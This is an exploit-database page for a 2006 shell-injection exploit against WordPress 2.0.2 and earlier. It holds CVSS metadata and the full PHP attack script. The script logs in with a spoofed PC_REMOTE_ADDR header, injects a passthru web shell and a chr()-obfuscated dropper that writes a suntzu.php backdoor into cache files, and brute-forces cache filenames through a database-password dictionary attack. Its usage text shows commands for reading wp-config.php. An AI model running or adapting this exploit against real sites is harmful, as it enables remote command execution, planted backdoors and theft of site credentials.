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Suggest Exploit
vendor:
WordPress
by:
rgod
7.5
CVSS
HIGH
Shell Injection
94
CWE
Product Name: WordPress
Affected Version From: <= 2.0.2
Affected Version To: Unknown
Patch Exists: NO
Related CWE:
CPE: a:wordpress:wordpress:2.0.2
Metasploit:
Other Scripts:
Platforms Tested:
Unknown

WordPress <= 2.0.2 'cache' shell injection exploit

This exploit allows an attacker to inject shell commands into the WordPress cache files. The exploit works regardless of PHP.ini settings and if user registration is enabled. It can be used against an empty or weak MySQL DB password.

Mitigation:

Upgrade to a version of WordPress that is not vulnerable.
Source

Exploit-DB raw data:

#!/usr/bin/php -q -d short_open_tag=on
<?
echo "--------------------------------------------------------------------\r\n";
echo "| WordPress <= 2.0.2 'cache' shell injection exploit               |\r\n";
echo "| by rgod rgod@autistici.org                                       |\r\n";
echo "| site: http://retrogod.altervista.org                             |\r\n";
echo "| dork: inurl:wp-login.php Register Username Password -echo        |\r\n";
echo "--------------------------------------------------------------------\r\n";

/*
this works:
regardless of all php.ini settings,
if user registration is enabled,
against an empty or weak MySQL DB password (read explaination for details...)
*/

if ($argc<6) {
echo "Usage: php ".$argv[0]." host path user pass cmd OPTIONS             \r\n";
echo "host:      target server (ip/hostname)                              \r\n";
echo "path:      path to WordPress                                        \r\n";
echo "cmd:       a shell command                                          \r\n";
echo "user/pass: you need a valid user account                            \r\n";
echo "Options:                                                            \r\n";
echo "   -D[dicrionary] specify a textfile and try dictionary attack      \r\n";
echo "   -p[port]:        \"  a port other than 80                        \r\n";
echo "   -P[ip:port]:     \"  a proxy                                     \r\n";
echo "Examples:                                                           \r\n";
echo "php ".$argv[0]." localhost /wordpress/ your_username password ls -la -Ddic.txt\r\n";
echo "php ".$argv[0]." localhost /wordpress/ your_username password cat ./../../../wp-config.php -p81\r\n";
echo "php ".$argv[0]." localhost / your_username password ls -la -P1.1.1.1:80\r\n\r\n";
die;
}

/* explaination:

  i) wordpress stores some user informations inside cached files
   in wp-content/cache/userlogins/ and wp-content/cache/users/ folders, they are
   php files.
   Normally they look like this:

   <?php
   //O:8:"stdClass":23:{s:2:"ID";s:3:"106";s:10:"user_login";s:6:"suntzu";s:9:"user_pass";s:32:"a2b0f31cd94e749b58307775462e2e4b";s:13:"user_nicename";s:6:"suntzu";s:10:"user_email";s:18:"suntzoi@suntzu.org";s:8:"user_url";s:0:"";s:15:"user_registered";s:19:"2006-05-24 23:00:42";s:19:"user_activation_key";s:0:"";s:11:"user_status";s:1:"0";s:12:"display_name";s:6:"suntzu";s:10:"first_name";s:0:"";s:9:"last_name";s:0:"";s:8:"nickname";s:6:"suntzu";s:11:"description";s:0:"";s:6:"jabber";s:0:"";s:3:"aim";s:0:"";s:3:"yim";s:0:"";s:15:"wp_capabilities";a:1:{s:10:"subscriber";b:1;}s:13:"wp_user_level";s:1:"0";s:10:"user_level";s:1:"0";s:14:"user_firstname";s:0:"";s:13:"user_lastname";s:0:"";s:16:"user_description";s:0:"";}
   ?>

   but...what happens if you inject a carriage return ( chr(13)...), some php code and some
   escape chars when you update your profile (ex. in "displayname" argument)?

   Look at this file now:

   <?php
   //O:8:"stdClass":24:{s:2:"ID";s:3:"106";s:10:"user_login";s:6:"suntzu";s:9:"user_pass";s:32:"a2b0f31cd94e749b58307775462e2e4b";s:13:"user_nicename";s:6:"suntzu";s:10:"user_email";s:17:"suntzu@suntzu.org";s:8:"user_url";s:7:"http://";s:15:"user_registered";s:19:"2006-05-24 23:00:42";s:19:"user_activation_key";s:0:"";s:11:"user_status";s:1:"0";s:12:"display_name";s:185:"suntzu
   error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()){$_REQUEST[cmd]=stripslashes($_REQUEST[cmd]);}echo 56789;passthru($_REQUEST[cmd]);echo 56789;//suntzuuuuuuuuuuuuuu";s:10:"first_name";s:6:"suntzu";s:9:"last_name";s:6:"suntzu";s:8:"nickname";s:6:"suntzu";s:11:"description";s:6:"whoami";s:6:"jabber";s:0:"";s:3:"aim";s:0:"";s:3:"yim";s:0:"";s:15:"wp_capabilities";a:1:{s:10:"subscriber";b:1;}s:13:"wp_user_level";s:1:"0";s:10:"user_level";s:1:"0";s:12:"rich_editing";s:4:"true";s:14:"user_firstname";s:6:"suntzu";s:13:"user_lastname";s:6:"suntzu";s:16:"user_description";s:6:"whoami";}
   ?>

   you have a backdoor on target server...

   Now you have to search a way to guess filenames 'cause we have an
   index.php to trivially protect folders, but... guess what?

   give a look at wp-includes/cache.php at line 355:

   ...
   $cache_file = $group_dir.md5($id.DB_PASSWORD).'.php';
   ...

   $group_dir is the folder where files are stored
   DB_PASSWORD costant could be empty, if so...
   you have only to calculate the md5 hash of your user id, then:

   http://[target]/[path]/wp-content/cache/users/[md5(user_id)].php?cmd=ls%20-la

   the same with userlogins/ folder, this time:

   http://[target]/[path]/wp-content/cache/userlogins/[md5(username)].php?cmd=ls%20-la

   otherwise you can check if DB_PASSWORD is in a dictionary through the -D option,
   this tool calculate the hash to do something like this:

   http://[target]/[path]/wp-content/cache/users/[md5([user_id][db_pass])].php?cmd=ls%20-la
   http://[target]/[path]/wp-content/cache/userloginss/[md5([username][db_pass])].php?cmd=ls%20-la

  ii) an ip-spoofing issue in vars.php:

  ...
  // On OS X Server, $_SERVER['REMOTE_ADDR'] is the server's address. Workaround this
  // by using $_SERVER['HTTP_PC_REMOTE_ADDR'], which *is* the remote address.
  if ( isset($_SERVER['HTTP_PC_REMOTE_ADDR']) )
  	$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_PC_REMOTE_ADDR'];
  ...

  poc:
  you can set an http header like this when you register:

  PC_REMOTE_ADDR: 1.1.1.1
									      */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;

}
$host=$argv[1];
$path=$argv[2];
$username=$argv[3];
$password=$argv[4];
$cmd="";
$port=80;
$proxy="";
$dict="";

for ($i=5; $i<=$argc-1; $i++){
$t=$argv[$i][0].$argv[$i][1];
if (($t<>"-p") and ($t<>"-P") and ($t<>"-D"))
{$cmd.=" ".$argv[$i];}
if ($t=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($t=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
if ($t=="-D")
{
  $dict=str_replace("-D","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "step 0 -> check if suntzu.php is already installed...\r\n";
$check=array("users/suntzu.php",
	     "userlogins/suntzu.php"
	     );
for ($i=0; $i<=count($check)-1; $i++)
{
  $packet="GET ".$p."wp-content/cache/".$check[$i]." HTTP/1.0\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Cookie: cmd=".$cmd."\r\n";
  $packet.="Connection: close\r\n\r\n";
  sendpacketii($packet);
  if (strstr($html,"*DL*"))
  {
    echo "Exploit succeeded...\r\n";$temp=explode("*DL*",$html);echo $temp[1]."\r\n";echo"Now you can launch commands through the followig url:\r\n http://".$host.$path."wp-content/cache/".$check[$i]."?cmd=ls%20-la";die;
  }
}
echo "step 1 -> Login ...\r\n";
$data="log=".urlencode(trim($username));
$data.="&pwd=".urlencode(trim($password));
$data.="&rememberme=forever";
$data.="&submit=".urlencode("Login &raquo;");
$data.="&redirect_to=wp-admin";
$packet="POST ".$p."wp-login.php HTTP/1.0\r\n";
$packet.="PC_REMOTE_ADDR: 1.1.1.1\r\n"; //ip spoofing bug in vars.php ;)...
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(" ",$temp[1]);
$cookie=$temp2[0];
$temp2=explode(" ",$temp[2]);
$cookie.=" ".$temp2[0];
if ($cookie==''){echo "Unable to login...";die;}
else {echo "cookie ->".$cookie."\r\n";}

echo "step 2 -> Retrieve your user id...\r\n";
$packet="GET ".$p."wp-admin/profile.php HTTP/1.0\r\n";
$packet.="PC_REMOTE_ADDR: 1.1.1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("checkuser_id\" value=\"",$html);
$temp2=explode("\"",$temp[1]);
$user_id=$temp2[0];
if ($user_id==''){die("Unable to retrieve user id...\r\n");}
else {echo "user id -> ".$user_id."\r\n";}

echo "step 3 -> Update your profile with the evil code...\r\n";
$suntzu='$fp=fopen("suntzu.php","w");fputs($fp,chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(114).chr(114).chr(111).chr(114).chr(95).chr(114).chr(101).chr(112).chr(111).chr(114).chr(116).chr(105).chr(110).chr(103).chr(40).chr(48).chr(41).chr(59).chr(115).chr(101).chr(116).chr(95).chr(116).chr(105).chr(109).chr(101).chr(95).chr(108).chr(105).chr(109).chr(105).chr(116).chr(40).chr(48).chr(41).chr(59).chr(105).chr(102).chr(32).chr(40).chr(103).chr(101).chr(116).chr(95).chr(109).chr(97).chr(103).chr(105).chr(99).chr(95).chr(113).chr(117).chr(111).chr(116).chr(101).chr(115).chr(95).chr(103).chr(112).chr(99).chr(40).chr(41).chr(41).chr(123).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(61).chr(115).chr(116).chr(114).chr(105).chr(112).chr(115).chr(108).chr(97).chr(115).chr(104).chr(101).chr(115).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(125).chr(101).chr(99).chr(104).chr(111).chr(32).chr(34).chr(42).chr(68).chr(76).chr(42).chr(34).chr(59).chr(112).chr(97).chr(115).chr(115).chr(116).chr(104).chr(114).chr(117).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(63).chr(62));fclose($fp);//';
$suntzu=urlencode($suntzu);
$code='error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()){$_REQUEST[cmd]=stripslashes($_REQUEST[cmd]);}echo chr(42).chr(68).chr(76).chr(42);passthru($_REQUEST[cmd]);echo chr(42).chr(68).chr(76).chr(42);';
$code=urlencode($code);
$data="from=profile";
$data.="&checkuser_id=".$user_id;
$data.="&user_login=".urlencode(trim($username));
$data.="&first_name=".urlencode(trim($username));
$data.="&last_name=".urlencode(trim($username)).chr(13).$suntzu."//suntzuuu";
$data.="&nickname=".urlencode(trim($username));
$data.="&display_name=".urlencode(trim($username)).chr(13).$code."//suntzuu";
$data.="&email=".urlencode("suntzu@suntzu.org");
$data.="&url=".urlencode("http://");
$data.="&aim=";
$data.="&yim=";
$data.="&jabber=";
$data.="&description=whoami";
$data.="&rich_editing=true";
$data.="&submit=".urlencode("Update Profile &raquo;");
$packet="POST ".$p."wp-admin/profile-update.php HTTP/1.0\r\n";
$packet.="PC_REMOTE_ADDR: 1.1.1.1\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Referer: http://".$host.$path."wp-admin/profile-update.php\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (eregi("updated=true",$html)){echo "Done...\r\n";}
else {die("Unable to update profile...");}

echo "step 4 -> go to profile page to avoid cached files deletion...\r\n";
$packet="GET ".$p."wp-admin/profile.php?updated=true HTTP/1.0\r\n";
$packet.="PC_REMOTE_ADDR: 1.1.1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: close\r\n\r\n";
sendpacketii($packet);
if (eregi("200 OK",$html)){echo "Done...\r\n";}
sleep(2);

echo "step 5 -> check for an empty db password...\r\n";
$check=array("users/".md5($user_id).".php",
	     "userlogins/".md5(trim($username)).".php"
	     );
for ($i=0; $i<=count($check)-1; $i++)
{
  $packet="GET ".$p."wp-content/cache/".$check[$i]." HTTP/1.0\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Cookie: cmd=".$cmd."\r\n";
  $packet.="Connection: close\r\n\r\n";
  sendpacketii($packet);
  if (eregi("*DL*",$html))
  {
    echo "Exploit succeeded...\r\n";$temp=explode("*DL*",$html);echo($temp[1]);echo"\r\nNow you can launch commands through the followig urls:\r\n http://".$host.$path."wp-content/cache/".$check[$i]."?cmd=ls%20-la\r\nalso, you should have a backdoor called suntzu.php in the same folder\r\n";die;
  }
}

if ($dict=='') {echo "exploit failed...\r\n";}
else
   {
    echo "step 6 -> trying with dictionary attack...\r\n";
    if (file_exists($dict))
    {
      $fp=fopen($dict,"r");
      while (!feof($fp))
      {
        $word=trim(fgets($fp));
        $check=array("users/".md5($user_id.$word).".php",
	             "userlogins/".md5(trim($username).$word).".php"
	            );
        for ($i=0; $i<=count($check)-1; $i++)
        {
	  echo "Trying with ".$check[$i]."\r\n";
          $packet="GET ".$p."wp-content/cache/".$check[$i]." HTTP/1.0\r\n";
          $packet.="Host: ".$host."\r\n";
          $packet.="Cookie: cmd=".$cmd."\r\n";
          $packet.="Connection: close\r\n\r\n";
          sendpacketii($packet);
          if (strstr($html,"*DL*"))
          {
            echo "Exploit succeeded...\r\n";fclose($fp);$temp=explode("*DL*",$html);echo $temp[1];echo"Now you can launch commands through the followig url:\r\n http://".$host.$path."wp-content/cache/".$check[$i]."?cmd=ls%20-la\r\nalso, you should have a backdoor called suntzu.php in the same folder\r\n";
	    die;
          }
        }
     }
     fclose($fp);
     //if you are here...
     echo "Exploit failed...\r\n";
   }
   else
   {
     die($dict."does not exist!");
   }
  }
?>

# milw0rm.com [2006-05-25]